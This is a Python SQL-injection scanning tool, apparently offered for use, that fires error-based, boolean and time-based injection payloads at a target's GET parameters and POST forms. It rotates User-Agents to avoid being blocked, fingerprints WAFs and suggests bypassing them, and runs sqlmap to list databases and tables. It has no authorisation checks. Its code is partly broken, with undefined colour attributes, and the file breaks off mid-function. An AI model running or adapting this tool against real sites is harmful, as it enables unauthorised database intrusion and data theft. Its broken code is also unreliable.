#!/usr/bin/env python3
# -*- coding: utf-8 -*-



import sys
import os
import time
import random
import argparse
import requests
import re
import urllib3
import threading
import difflib
import math
import json
import subprocess
import shutil
from urllib.parse import urlparse, parse_qsl, urlencode, urlunparse
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime
from pathlib import Path
import signal
import hashlib
import base64
from typing import List, Dict, Tuple, Optional

# 禁用 SSL 警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ============================================================================
# CONFIGURATION & CONSTANTS
# ============================================================================

class Colors:
    RESET = '\033[0m'
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    MAGENTA = '\033[95m'
    CYAN = '\033[96m'
    WHITE = '\033[97m'
    BOLD = '\033[1m'
    DIM = '\033[2m'

USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15",
    "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0"
]

# 数据库报错指纹 (Regex)
DBMS_ERRORS = {
    "MySQL": [
        r"SQL syntax.*MySQL",
        r"Warning.*mysql_.*",
        r"valid MySQL result",
        r"MySqlClient\.",
        r"MySQL server version for the right syntax to use near",
        r"You have an error in your SQL syntax"
    ],
    "PostgreSQL": [
        r"PostgreSQL.*ERROR",
        r"Warning.*\Wpg_.*",
        r"valid PostgreSQL result",
        r"Npgsql\.",
        r"PostgreSQL said:",
        r"function does not exist"
    ],
    "Microsoft SQL Server": [
        r"Driver.* SQL[\-\_\ ]*Server",
        r"OLE DB.* SQL Server",
        r"(\W|\A)SQL Server.*Driver",
        r"Warning.*mssql_.*",
        r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}",
        r"(?s)Exception.*\WSystem\.Data\.SqlClient\.",
        r"Unclosed quotation mark after the character string",
        r"An expression of non-boolean type specified in a context where a condition is expected"
    ],
    "Microsoft Access": [
        r"Microsoft Access Driver",
        r"JET Database Engine",
        r"Access Database Engine"
    ],
    "Oracle": [
        r"\bORA-[0-9][0-9][0-9][0-9]",
        r"Oracle error",
        r"Oracle.*Driver",
        r"Warning.*\Woci_.*",
        r"Warning.*\Wora_.*",
        r"quoted string not properly terminated"
    ],
    "IBM DB2": [
        r"CLI Driver.*DB2",
        r"DB2 SQL error",
        r"\bdb2_\w+\("
    ],
    "SQLite": [
        r"SQLite/JDBCDriver",
        r"SQLite.Exception",
        r"System.Data.SQLite.SQLiteException",
        r"Warning.*sqlite_.*",
        r"Warning.*SQLite3::",
        r"\[SQLITE_ERROR\]",
        r"near \"[^\"]*\": syntax error"
    ],
    "Sybase": [
        r"(?i)Warning.*sybase.*",
        r"Sybase message",
        r"Sybase Driver"
    ],
}

# WAF 指纹 (简略版)
WAF_SIGNATURES = {
    "Cloudflare": r"Cloudflare Ray ID:|var Cloudflare=",
    "Imperva": r"Incapsula|incap_ses|visid_incap",
    "F5 BIG-IP": r"BigIP|F5_ST|F5_HT",
    "AWS WAF": r"AWSALB|AWSALBCORS",
    "ModSecurity": r"Mod_Security|NOYB",
    "Akamai": r"AkamaiGHost",
    "Sucuri": r"Sucuri/Cloudproxy",
    "Fortinet": r"FortiGate Application Control",
    "Comodo": r"Protected by COMODO",
    "Barracuda": r"Barracuda Networks",
    "Citrix": r"Citrix NetScaler"
}

class ProgressTracker:
    """进度跟踪器"""
    def __init__(self, total_steps):
        self.total_steps = total_steps
        self.current_step = 0
        self.start_time = time.time()
        self.lock = threading.Lock()
    
    def update(self, step_name, current=0, total=0):
        """更新进度"""
        with self.lock:
            self.current_step += 1
            elapsed = time.time() - self.start_time
            progress = min(100.0, (self.current_step / self.total_steps) * 100)
            
            if total > 0:
                print(f"\r[进度: {progress:.1f}%] {step_name} ({current}/{total}) - 耗时: {elapsed:.1f}s", end='', flush=True)
            else:
                print(f"\r[进度: {progress:.1f}%] {step_name} - 耗时: {elapsed:.1f}s", end='', flush=True)

# ============================================================================
# UTILITIES & LOGGING
# ============================================================================

class Logger:
    @staticmethod
    def banner():
        print(Colors.CYAN + Colors.BOLD + r"""
  _______ _ _               _____  _____  _       
 |__   __(_) |             / ____|/ __  \| |      
    | |   _| |_ __ _ _ __ | (___ | |  | | |      
    | |  | | __/ _` | '_ \ \___ \| |  | | |      
    | |  | | || (_| | | | |____) | |__| | |____  
    |_|  |_|\__\__,_|_| |_|_____/ \___\_\______| 
                                                 
        [+] TitanSQL Scanner Pro v4.1 (Xuekn Edition - Fixed)
        [+] Created by: Xuekn (Top-Tier Automation Dev)
        [+] Advanced SQL Injection Detection Suite
        """ + Colors.RESET)

    @staticmethod
    def info(msg):
        print(f"{Colors.BLUE}[*]{Colors.RESET} {msg}")

    @staticmethod
    def success(msg):
        print(f"{Colors.GREEN}[+]{Colors.RESET} {msg}")

    @staticmethod
    def warning(msg):
        print(f"{Colors.YELLOW}[!]{Colors.RESET} {msg}")

    @staticmethod
    def error(msg):
        print(f"{Colors.RED}[-]{Colors.RESET} {msg}")

    @staticmethod
    def debug(msg, verbose=False):
        if verbose:
            print(f"{Colors.MAGENTA}[DEBUG]{Colors.RESET} {msg}")

    @staticmethod
    def vuln(msg):
        print(f"{Colors.RED}{Colors.BOLD}[VULN FOUND] {msg}{Colors.RESET}")

# ============================================================================
# REQUEST ENGINE
# ============================================================================

class RequestEngine:
    def __init__(self, timeout=10, delay=0.0):
        self.timeout = timeout
        self.delay = delay
        self.session = requests.Session()
        self.update_user_agent()

    def update_user_agent(self):
        self.session.headers.update({
            'User-Agent': random.choice(USER_AGENTS),
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Connection': 'keep-alive'
        })

    def get(self, url, params=None):
        if self.delay > 0:
            time.sleep(self.delay)
        try:
            # 随机化 User-Agent 防止被封
            if random.random() > 0.7:
                self.update_user_agent()
            
            response = self.session.get(
                url, 
                params=params, 
                timeout=self.timeout, 
                verify=False,
                allow_redirects=True
            )
            return response
        except requests.exceptions.Timeout:
            Logger.debug(f"Request timed out: {url}")
            return None
        except requests.exceptions.RequestException as e:
            Logger.debug(f"Request failed: {e}")
            return None

    def post(self, url, data=None):
        """POST请求支持"""
        if self.delay > 0:
            time.sleep(self.delay)
        try:
            # 随机化 User-Agent 防止被封
            if random.random() > 0.7:
                self.update_user_agent()
            
            response = self.session.post(
                url, 
                data=data, 
                timeout=self.timeout, 
                verify=False,
                allow_redirects=True
            )
            return response
        except requests.exceptions.Timeout:
            Logger.debug(f"POST request timed out: {url}")
            return None
        except requests.exceptions.RequestException as e:
            Logger.debug(f"POST request failed: {e}")
            return None

# ============================================================================
# PAYLOAD GENERATOR
# ============================================================================

class PayloadGenerator:
    """
    生成用于不同注入类型的 Payload
    """
    
    @staticmethod
    def get_error_payloads():
        return [
            "'", '"', "')", '")', "';", '"^', 
            "' OR '1'='1", '" OR "1"="1',
            "' OR 1=1 --", '" OR 1=1 --',
            "' OR 'a'='a",
            "admin' --",
            "admin' #",
            "' UNION SELECT 1,2,3 --",
            "1' OR '1'='1' --",
            "1' AND '1'='1' --",
            "1' OR 1=1 --",
            "1' AND 1=1 --",
            "1' OR 'a'='a' --",
            "1' AND 'a'='a' --",
            "1' OR 1=1#",
            "1' AND 1=1#",
            "1' OR '1'='1'#",
            "1' AND '1'='1'#",
            "' OR '1'='1'/*",
            "' OR '1'='1'#",
            "' OR '1'='1'--",
            "' OR 1=1 OR '1'='1",
            "' OR '1'='1' HAVING 1=1",
            "' OR '1'='1' ORDER BY 1--",
            "' OR '1'='1' GROUP BY 1--",
            "' OR '1'='1' LIMIT 1--",
            "' OR '1'='1' OFFSET 1--",
            "' OR '1'='1' PROCEDURE ANALYSE()--",
            "' OR '1'='1' INTO OUTFILE '/tmp/test'--",
            "' OR '1'='1' UNION SELECT NULL,NULL,NULL--",
            "' OR '1'='1' UNION SELECT 1,@@version,3--",
            "' OR '1'='1' UNION SELECT database(),2,3--",
            "' OR '1'='1' UNION SELECT user(),2,3--",
            "' OR '1'='1' UNION SELECT @@hostname,2,3--",
            "' OR '1'='1' UNION SELECT @@datadir,2,3--",
            "' OR '1'='1' UNION SELECT @@basedir,2,3--",
            "' OR '1'='1' UNION SELECT @@version_compile_os,2,3--",
            "' OR '1'='1' UNION SELECT @@version_compile_machine,2,3--",
            "' OR '1'='1' UNION SELECT @@innodb_version,2,3--",
            "' OR '1'='1' UNION SELECT @@plugin_dir,2,3--",
            "' OR '1'='1' UNION SELECT @@secure_file_priv,2,3--",
            "' OR '1'='1' UNION SELECT @@sql_mode,2,3--",
            "' OR '1'='1' UNION SELECT @@sql_safe_updates,2,3--",
            "' OR '1'='1' UNION SELECT @@max_allowed_packet,2,3--",
            "' OR '1'='1' UNION SELECT @@wait_timeout,2,3--",
            "' OR '1'='1' UNION SELECT @@interactive_timeout,2,3--",
            "' OR '1'='1' UNION SELECT @@net_read_timeout,2,3--",
            "' OR '1'='1' UNION SELECT @@net_write_timeout,2,3--",
            "' OR '1'='1' UNION SELECT @@connect_timeout,2,3--",
            "' OR '1'='1' UNION SELECT @@max_connections,2,3--",
            "' OR '1'='1' UNION SELECT @@max_connect_errors,2,3--",
            "' OR '1'='1' UNION SELECT @@table_open_cache,2,3--",
            "' OR '1'='1' UNION SELECT @@thread_cache_size,2,3--",
            "' OR '1'='1' UNION SELECT @@query_cache_size,2,3--",
            "' OR '1'='1' UNION SELECT @@tmp_table_size,2,3--",
            "' OR '1'='1' UNION SELECT @@max_heap_table_size,2,3--",
            "' OR '1'='1' UNION SELECT @@sort_buffer_size,2,3--",
            "' OR '1'='1' UNION SELECT @@read_buffer_size,2,3--",
            "' OR '1'='1' UNION SELECT @@read_rnd_buffer_size,2,3--",
            "' OR '1'='1' UNION SELECT @@join_buffer_size,2,3--",
            "' OR '1'='1' UNION SELECT @@key_buffer_size,2,3--",
            "' OR '1'='1' UNION SELECT @@myisam_sort_buffer_size,2,3--",
            "' OR '1'='1' UNION SELECT @@bulk_insert_buffer_size,2,3--",
            "' OR '1'='1' UNION SELECT @@max_sort_length,2,3--",
            "' OR '1'='1' UNION SELECT @@group_concat_max_len,2,3--",
            "' OR '1'='1' UNION SELECT @@transaction_isolation,2,3--",
            "' OR '1'='1' UNION SELECT @@transaction_read_only,2,3--",
            "' OR '1'='1' UNION SELECT @@tx_isolation,2,3--",
            "' OR '1'='1' UNION SELECT @@tx_read_only,2,3--",
            "' OR '1'='1' UNION SELECT @@autocommit,2,3--",
            "' OR '1'='1' UNION SELECT @@sql_auto_is_null,2,3--",
            "' OR '1'='1' UNION SELECT @@foreign_key_checks,2,3--",
            "' OR '1'='1' UNION SELECT @@unique_checks,2,3--",
            "' OR '1'='1' UNION SELECT @@sql_log_bin,2,3--",
            "' OR '1'='1' UNION SELECT @@sql_select_limit,2,3--",
            "' OR '1'='1' UNION SELECT @@max_join_size,2,3--",
            "' OR '1'='1' UNION SELECT @@optimizer_prune_level,2,3--",
            "' OR '1'='1' UNION SELECT @@optimizer_search_depth,2,3--",
            "' OR '1'='1' UNION SELECT @@optimizer_switch,2,3--",
            "' OR '1'='1' UNION SELECT @@sql_big_selects,2,3--",
            "' OR '1'='1' UNION SELECT @@sql_buffer_result,2,3--",
            "' OR '1'='1' UNION SELECT @@sql_log_off,2,3--",
            "' OR '1'='1' UNION SELECT @@sql_log_update,2,3--",
            "' OR '1'='1' UNION SELECT @@sql_mode,2,3--",
            "' OR '1'='1' UNION SELECT @@sql_notes,2,3--",
            "' OR '1'='1' UNION SELECT @@sql_quote_show_create,2,3--",
            "' OR '1'='1' UNION SELECT @@sql_safe_updates,2,3--",
            "' OR '1'='1' UNION SELECT @@sql_slave_skip_counter,2,3--",
            "' OR '1'='1' UNION SELECT @@sql_warnings,2,3--",
            "' OR '1'='1' UNION SELECT @@storage_engine,2,3--",
            "' OR '1'='1' UNION SELECT @@table_type,2,3--",
            "' OR '1'='1' UNION SELECT @@updatable_views_with_limit,2,3--",
            "' OR '1'='1' UNION SELECT @@version,2,3--",
            "' OR '1'='1' UNION SELECT @@version_comment,2,3--",
            "' OR '1'='1' UNION SELECT @@version_compile_machine,2,3--",
            "' OR '1'='1' UNION SELECT @@version_compile_os,2,3--",
            "' OR '1'='1' UNION SELECT @@wait_timeout,2,3--",
            "' OR '1'='1' UNION SELECT @@warning_count,2,3--",
        ]

    @staticmethod
    def get_boolean_payloads():
        # (True Payload, False Payload)
        return [
            (" AND 1=1", " AND 1=2"),
            ("' AND '1'='1", "' AND '1'='2"),
            ('" AND "1"="1', '" AND "1"="2'),
            (" AND 100=100", " AND 100=200"),
            (" OR 1=1", " OR 1=2"), # 注意：OR 逻辑可能改变页面结构
            ("' OR '1'='1' --", "' OR '1'='2' --"),
            ("' AND '1'='1' --", "' AND '1'='2' --"),
            ("' OR 1=1 --", "' OR 1=2 --"),
            ("' AND 1=1 --", "' AND 1=2 --"),
            ("' OR 'a'='a' --", "' OR 'b'='a' --"),
            ("' AND 'a'='a' --", "' AND 'a'='b' --"),
            (" AND (SELECT COUNT(*) FROM information_schema.tables)>0", " AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='nonexistent')>0"),
            (" AND (SELECT COUNT(*) FROM information_schema.columns)>0", " AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='nonexistent')>0"),
            (" AND EXISTS(SELECT * FROM information_schema.tables)", " AND EXISTS(SELECT * FROM information_schema.tables WHERE table_schema='nonexistent')"),
            (" AND (SELECT COUNT(*) FROM mysql.user)>0", " AND (SELECT COUNT(*) FROM mysql.user WHERE Host='nonexistent')>0"),
            (" AND (SELECT COUNT(*) FROM pg_tables)>0", " AND (SELECT COUNT(*) FROM pg_tables WHERE schemaname='nonexistent')>0"),
        ]

    @staticmethod
    def get_time_payloads(db_type="Generic", sleep_time=5):
        # 针对不同数据库的时间盲注
        payloads = []
        
        # MySQL
        payloads.append(f" AND SLEEP({sleep_time})")
        payloads.append(f"' AND SLEEP({sleep_time}) AND '1'='1")
        payloads.append(f'" AND SLEEP({sleep_time}) AND "1"="1')
        payloads.append(f" AND (SELECT SLEEP({sleep_time}))")
        payloads.append(f"' AND (SELECT SLEEP({sleep_time})) AND '1'='1")
        
        # PostgreSQL
        payloads.append(f" AND pg_sleep({sleep_time})")
        payloads.append(f"; SELECT pg_sleep({sleep_time}) --")
        payloads.append(f" AND (SELECT pg_sleep({sleep_time}))")
        
        # MSSQL
        payloads.append(f" WAITFOR DELAY '0:0:{sleep_time}'")
        payloads.append(f"'; WAITFOR DELAY '0:0:{sleep_time}' --")
        payloads.append(f" AND (WAITFOR DELAY '0:0:0{sleep_time}')")
        
        # Oracle (使用 BENCHMARK 等价)
        payloads.append(f" AND (SELECT COUNT(*) FROM DUAL CONNECT BY LEVEL<=1000000)=1")
        payloads.append(f"' AND (SELECT COUNT(*) FROM DUAL CONNECT BY LEVEL<=1000000)=1 AND '1'='1")
        
        # SQLite (使用 BLOB 延迟)
        payloads.append(f" AND (SELECT COUNT(*) FROM (SELECT RANDOMBLOB(1000000) AS X) GROUP BY X)=1")
        payloads.append(f"' AND (SELECT COUNT(*) FROM (SELECT RANDOMBLOB(1000000) AS X) GROUP BY X)=1 AND '1'='1")
        
        return payloads

# ============================================================================
# SQLMAP INTEGRATION
# ============================================================================

class SqlmapIntegration:
    """SQLMap集成模块"""
    
    def __init__(self):
        self.sqlmap_path = self._find_sqlmap()
    
    def _find_sqlmap(self):
        """查找SQLMap路径"""
        possible_paths = [
            "/usr/bin/sqlmap",
            "/usr/local/bin/sqlmap",
            "/opt/sqlmap/sqlmap.py",
            "sqlmap"  # 如果在PATH中
        ]
        
        for path in possible_paths:
            if os.path.exists(path):
                return path
            # 尝试在PATH中查找
            sqlmap_bin = shutil.which("sqlmap")
            if sqlmap_bin:
                return sqlmap_bin
        
        Logger.warning("SQLMap未找到，部分高级功能将不可用")
        return None
    
    def run_sqlmap_scan(self, url, parameters=None, level=1, risk=1, data=None):
        """
        运行SQLMap扫描
        :param url: 目标URL
        :param parameters: 要测试的参数列表 (逗号分隔)
        :param level: 扫描级别 (1-5)
        :param risk: 扫描风险 (1-3)
        :param data: POST数据 (如果适用)
        """
        if not self.sqlmap_path:
            Logger.warning("SQLMap不可用，跳过SQLMap扫描")
            return None
        
        try:
            cmd = [
                "python3" if self.sqlmap_path.endswith(".py") else self.sqlmap_path,
                "-u", url,
                "--batch",  # 自动模式
                "--level", str(level),
                "--risk", str(risk),
                "--threads", "3",
                "--timeout", "10",
                "--retries", "3",
                "--technique", "BEUSTQ",
                "--dbs",  # 尝试获取数据库列表
                "--tables",  # 尝试获取表列表
                "--answers", "follow=Y,follow=N,crack=N"
            ]
            
            # 添加POST数据参数
            if data:
                cmd.extend(["--data", data])
            
            # 添加要测试的参数
            if parameters:
                cmd.extend(["-p", parameters])
            
            # 创建输出目录
            timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
            output_dir = f"sqlmap_results_{timestamp}"
            Path(output_dir).mkdir(exist_ok=True)
            cmd.extend(["--output-dir", output_dir])
            
            Logger.info(f"运行SQLMap扫描: {' '.join(cmd[:5])}... (参数省略)")
            
            result = subprocess.run(
                cmd, 
                capture_output=True, 
                text=True, 
                timeout=600  # 10分钟超时
            )
            
            return {
                'success': result.returncode == 0,
                'stdout': result.stdout,
                'stderr': result.stderr,
                'command': ' '.join(cmd),
                'output_dir': output_dir
            }
        except subprocess.TimeoutExpired:
            return {
                'success': False,
                'stdout': '',
                'stderr': 'SQLMap扫描超时',
                'command': ' '.join(cmd),
                'output_dir': output_dir if 'output_dir' in locals() else None
            }
        except Exception as e:
            return {
                'success': False,
                'stdout': '',
                'stderr': str(e),
                'command': ' '.join(cmd) if 'cmd' in locals() else 'Unknown',
                'output_dir': output_dir if 'output_dir' in locals() else None
            }

# ============================================================================
# POST DATA DETECTOR
# ============================================================================

class PostDataDetector:
    """POST数据检测器"""
    
    def __init__(self, url, session):
        self.url = url
        self.session = session
        self.forms = []
    
    def detect_forms(self):
        """检测页面中的表单"""
        try:
            response = self.session.get(self.url, timeout=10)
            if response.status_code != 200:
                return []
            
            from bs4 import BeautifulSoup
            soup = BeautifulSoup(response.text, 'html.parser')
            
            forms = soup.find_all('form')
            detected_forms = []
            
            for form in forms:
                action = form.get('action', '')
                method = form.get('method', 'GET').upper()
                
                if method == 'POST':
                    inputs = form.find_all('input')
                    form_data = {}
                    
                    for inp in inputs:
                        name = inp.get('name')
                        type_attr = inp.get('type', 'text')
                        
                        if name and type_attr in ['text', 'password', 'email', 'hidden', 'search', 'tel', 'url', 'number']:
                            form_data[name] = 'test_value'
                    
                    if form_data:  # 只有当表单有可测试的字段时才添加
                        detected_forms.append({
                            'action': action,
                            'method': method,
                            'data': form_data,
                            'url': self.url
                        })
            
            self.forms = detected_forms
            return detected_forms
        except Exception as e:
            Logger.debug(f"表单检测失败: {e}")
            return []

# ============================================================================
# CORE SCANNER LOGIC
# ============================================================================

class TitanScannerPro:
    def __init__(self, target_url, threads=5, verbose=False, scan_post=False):
        self.target_url = target_url
        self.threads = threads
        self.verbose = verbose
        self.scan_post = scan_post
        self.req_engine = RequestEngine(timeout=15, delay=0.2)
        self.vulnerabilities = []
        self.progress = ProgressTracker(7)  # 总共7个步骤
        self.interrupted = False
        self.sqlmap_integration = SqlmapIntegration()
        self.post_detector = PostDataDetector(target_url, self.req_engine.session)
        
        # 解析 URL
        parsed = urlparse(target_url)
        self.base_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}"
        self.params = parse_qsl(parsed.query)
        
        # 设置信号处理
        signal.signal(signal.SIGINT, self.signal_handler)

    def signal_handler(self, signum, frame):
        """信号处理函数"""
        print(f"\n\n{Colors.WARNING}[!] 检测被用户中断...{Colors.ENDC}")
        self.interrupted = True
        print(f"{Colors.WARNING}[*] 正在保存当前结果...{Colors.ENDC}")
        sys.exit(0)

    def check_connection(self):
        """检查目标连接性"""
        Logger.info("检查目标连接性...")
        res = self.req_engine.get(self.target_url)
        if res and res.status_code in [200, 301, 302, 403, 404]:
            Logger.success(f"目标可达 [Status: {res.status_code}]")
            return True, res
        else:
            Logger.error("无法连接到目标。请检查 URL 或网络。")
            return False, None

    def detect_waf(self, response):
        """被动检测 WAF"""
        Logger.info("正在进行 WAF (Web Application Firewall) 指纹识别...")
        
        headers = str(response.headers)
        content = response.text
        
        detected = False
        for waf_name, signature in WAF_SIGNATURES.items():
            if re.search(signature, headers, re.I) or re.search(signature, content, re.I):
                Logger.warning(f"检测到 WAF: {Colors.RED}{waf_name}{Colors.RESET}")
                detected = True
        
        if not detected:
            Logger.info("未检测到明显的 WAF 特征。")
        else:
            Logger.warning("WAF 可能会拦截攻击 Payload，建议使用绕过技术。")
        self.progress.update("WAF检测")

    def get_page_similarity(self, content1, content2):
        """计算两个页面内容的相似度 (0.0 - 1.0)"""
        matcher = difflib.SequenceMatcher(None, content1, content2)
        return matcher.ratio()

    def scan_param_error_based(self, param_name, original_value, other_params):
        """报错注入检测模块"""
        Logger.info(f"正在测试参数 [{param_name}] - 报错注入 (Error-Based)")
        
        error_payloads = PayloadGenerator.get_error_payloads()
        
        for payload in error_payloads:
            if self.interrupted:
                return False
            
            # 构造恶意参数
            test_params = other_params.copy()
            test_params.append((param_name, original_value + payload))
            
            query_str = urlencode(test_params)
            full_url = f"{self.base_url}?{query_str}"
            
            res = self.req_engine.get(full_url)
            if not res: 
                continue

            # 检查报错
            for db, errors in DBMS_ERRORS.items():
                for error in errors:
                    if re.search(error, res.text, re.IGNORECASE):
                        vuln_info = {
                            "type": "Error-Based SQLi",
                            "param": param_name,
                            "payload": payload,
                            "db": db,
                            "evidence": error,
                            "status_code": res.status_code,
                            "response_length": len(res.text)
                        }
                        self.report_vuln(vuln_info)
                        return True # 发现一个就停止该类型的扫描
        return False

    def scan_param_boolean_based(self, param_name, original_value, other_params, baseline_content):
        """布尔盲注检测模块"""
        Logger.info(f"正在测试参数 [{param_name}] - 布尔盲注 (Boolean-Based)")
        
        boolean_payloads = PayloadGenerator.get_boolean_payloads()
        
        for true_payload, false_payload in boolean_payloads:
            if self.interrupted:
                return False
            
            # 测试 True Payload
            params_true = other_params.copy()
            params_true.append((param_name, original_value + true_payload))
            res_true = self.req_engine.get(f"{self.base_url}?{urlencode(params_true)}")
            
            # 测试 False Payload
            params_false = other_params.copy()
            params_false.append((param_name, original_value + false_payload))
            res_false = self.req_engine.get(f"{self.base_url}?{urlencode(params_false)}")

            if not res_true or not res_false:
                continue

            # 算法：
            # 1. True 页面应该和 原始页面 (baseline) 非常相似
            # 2. False 页面应该和 原始页面 差异较大
            # 3. True 页面和 False 页面 应该有差异
            
            sim_true = self.get_page_similarity(baseline_content, res_true.text)
            sim_false = self.get_page_similarity(baseline_content, res_false.text)
            
            # 阈值设定 (经验值)
            if sim_true > 0.95 and sim_false < 0.90:
                vuln_info = {
                    "type": "Boolean-Based Blind SQLi",
                    "param": param_name,
                    "payload_true": true_payload,
                    "payload_false": false_payload,
                    "similarity_true": f"{sim_true:.2f}",
                    "similarity_false": f"{sim_false:.2f}",
                    "response_length_true": len(res_true.text),
                    "response_length_false": len(res_false.text)
                }
                self.report_vuln(vuln_info)
                return True
        return False

    def scan_param_time_based(self, param_name, original_value, other_params):
        """时间盲注检测模块"""
        Logger.info(f"正在测试参数 [{param_name}] - 时间盲注 (Time-Based)")
        
        sleep_seconds = 5
        time_payloads = PayloadGenerator.get_time_payloads(sleep_time=sleep_seconds)
        
        # 首先计算平均响应时间
        latencies = []
        for _ in range(3):
            start = time.time()
            self.req_engine.get(self.target_url) # 请求原始 URL
            latencies.append(time.time() - start)
        avg_latency = sum(latencies) / len(latencies)
        
        Logger.debug(f"基准平均延迟: {avg_latency:.4f}s", self.verbose)

        for payload in time_payloads:
            if self.interrupted:
                return False
            
            test_params = other_params.copy()
            test_params.append((param_name, original_value + payload))
            full_url = f"{self.base_url}?{urlencode(test_params)}"
            
            start_time = time.time()
            try:
                # 设置稍微长一点的 timeout 以防请求本身就很慢
                self.req_engine.session.get(full_url, timeout=sleep_seconds + 10)
            except requests.exceptions.Timeout:
                pass # 超时也可能是一种信号
            
            duration = time.time() - start_time
            
            # 如果持续时间明显大于 (基准 + 睡眠时间)
            if duration > (avg_latency + sleep_seconds - 1):
                # 进行二次确认，防止网络波动误报
                Logger.info(f"疑似时间盲注，正在二次确认... ({duration:.2f}s)")
                start_verify = time.time()
                self.req_engine.session.get(full_url, timeout=sleep_seconds + 10)
                duration_verify = time.time() - start_verify
                
                if duration_verify > (avg_latency + sleep_seconds - 1):
                    vuln_info = {
                        "type": "Time-Based Blind SQLi",
                        "param": param_name,
                        "payload": payload,
                        "response_time": f"{duration_verify:.2f}s",
                        "baseline_time": f"{avg_latency:.2f}s"
                    }
                    self.report_vuln(vuln_info)
                    return True
        return False

    def scan_post_forms(self):
        """扫描POST表单中的SQL注入"""
        Logger.info("正在检测POST表单...")
        
        forms = self.post_detector.detect_forms()
        if not forms:
            Logger.info("未发现POST表单")
            return False
        
        Logger.info(f"发现 {len(forms)} 个POST表单")
        
        for form in forms:
            Logger.info(f"正在扫描表单: {form['action']}")
            
            # 测试错误注入
            for param_name, param_value in form['data'].items():
                if self.interrupted:
                    break
                
                for payload in PayloadGenerator.get_error_payloads()[:10]:  # 限制测试数量
                    test_data = form['data'].copy()
                    test_data[param_name] = param_value + payload
                    
                    res = self.req_engine.post(self.target_url, data=test_data)
                    if not res:
                        continue
                    
                    # 检查报错
                    for db, errors in DBMS_ERRORS.items():
                        for error in errors:
                            if re.search(error, res.text, re.IGNORECASE):
                                vuln_info = {
                                    "type": "Error-Based SQLi (POST)",
                                    "param": param_name,
                                    "payload": payload,
                                    "db": db,
                                    "evidence": error,
                                    "status_code": res.status_code,
                                    "response_length": len(res.text)
                                }
                                self.report_vuln(vuln_info)
                                return True
        
        return False

    def integrate_sqlmap_scan(self):
        """集成SQLMap扫描 - 修复版本：即使没有GET参数也会尝试扫描"""
        if not self.sqlmap_integration.sqlmap_path:
            Logger.warning("SQLMap不可用，跳过SQLMap集成扫描")
            self.progress.update("SQLMap扫描")
            return
        
        Logger.info("启动SQLMap集成扫描...")
        
        # 情况1: 有GET参数
        param_str = ','.join([p[0] for p in self.params]) if self.params else None
        
        # 情况2: 检查是否有POST表单数据
        post_forms = self.post_detector.detect_forms()
        post_data_str = None
        if post_forms:
            # 使用第一个表单的数据
            first_form_data = post_forms[0]['data']
            if first_form_data:
                post_data_str = '&'.join([f"{k}={v}" for k, v in first_form_data.items()])
        
        # 构建SQLMap命令参数
        level = 3
        risk = 2
        
        # 尝试多种方式运行SQLMap
        results = []
        
        # 方式1: 使用GET参数
        if param_str:
            Logger.info(f"使用GET参数进行SQLMap扫描: {param_str}")
            result = self.sqlmap_integration.run_sqlmap_scan(
                self.target_url, 
                parameters=param_str, 
                level=level, 
                risk=risk
            )
            if result:
                results.append(result)
        
        # 方式2: 使用POST数据
        if post_data_str:
            Logger.info(f"使用POST数据进行SQLMap扫描")
            result = self.sqlmap_integration.run_sqlmap_scan(
                self.target_url, 
                data=post_data_str, 
                level=level, 
                risk=risk
            )
            if result:
                results.append(result)
        
        # 方式3: 即使没有参数也尝试基础扫描
        if not param_str and not post_data_str:
            Logger.info("无显式参数，尝试基础SQLMap扫描...")
            result = self.sqlmap_integration.run_sqlmap_scan(
                self.target_url, 
                level=1,  # 使用较低级别
                risk=1    # 使用较低风险
            )
            if result:
                results.append(result)
        
        # 分析结果
        found_vulns = False
        for result in results:
            if result and result['success']:
                Logger.success("SQLMap扫描发现潜在漏洞")
                vuln_info = {
                    "type": "SQLMap Integrated Scan",
                    "details": "SQLMap检测到潜在SQL注入漏洞",
                    "command_used": result['command'],
                    "output_dir": result.get('output_dir', 'N/A'),
                    "output_preview": result['stdout'][:500] + "..." if len(result['stdout']) > 500 else result['stdout']
                }
                self.report_vuln(vuln_info)
                found_vulns = True
        
        if not found_vulns:
            Logger.info("SQLMap扫描完成，未发现明显漏洞")
        
        self.progress.update("SQLMap扫描")

    def report_vuln(self, info):
        """报告漏洞"""
        self.vulnerabilities.append(info)
        Logger.vuln(f"检测到漏洞! 类型: {info['type']}")
        print(json.dumps(info, indent=4, ensure_ascii=False))
        print("-" * 60)

    def scan_single_param(self, param_tuple):
        """单个参数的扫描工作流，由线程池调用"""
        target_param_name = param_tuple[0]
        target_param_value = param_tuple[1]
        
        # 构建不包含当前正在测试参数的列表，以便后续重新组合
        other_params_list = [p for p in self.params if p[0] != target_param_name]
        
        # 获取基准页面内容 (用于布尔盲注对比)
        baseline_content = getattr(self, 'baseline_content', '')
        
        # 1. 报错注入检测
        if self.scan_param_error_based(target_param_name, target_param_value, other_params_list):
            return
        
        # 2. 布尔盲注检测
        if self.scan_param_boolean_based(target_param_name, target_param_value, other_params_list, baseline_content):
            return
            
        # 3. 时间盲注检测
        if self.scan_param_time_based(target_param_name, target_param_value, other_params_list):
            return

    def run(self):
        """运行扫描"""
        Logger.banner()
        Logger.info(f"开始扫描目标: {self.target_url}")
        
        # 1. 连接性检查
        is_up, response = self.check_connection()
        if not is_up:
            return
            
        self.baseline_content = response.text
        self.progress.update("连接性检查")
        
        # 2. WAF 检测
        self.detect_waf(response)
        
        # 3. 参数分析
        param_count = len(self.params)
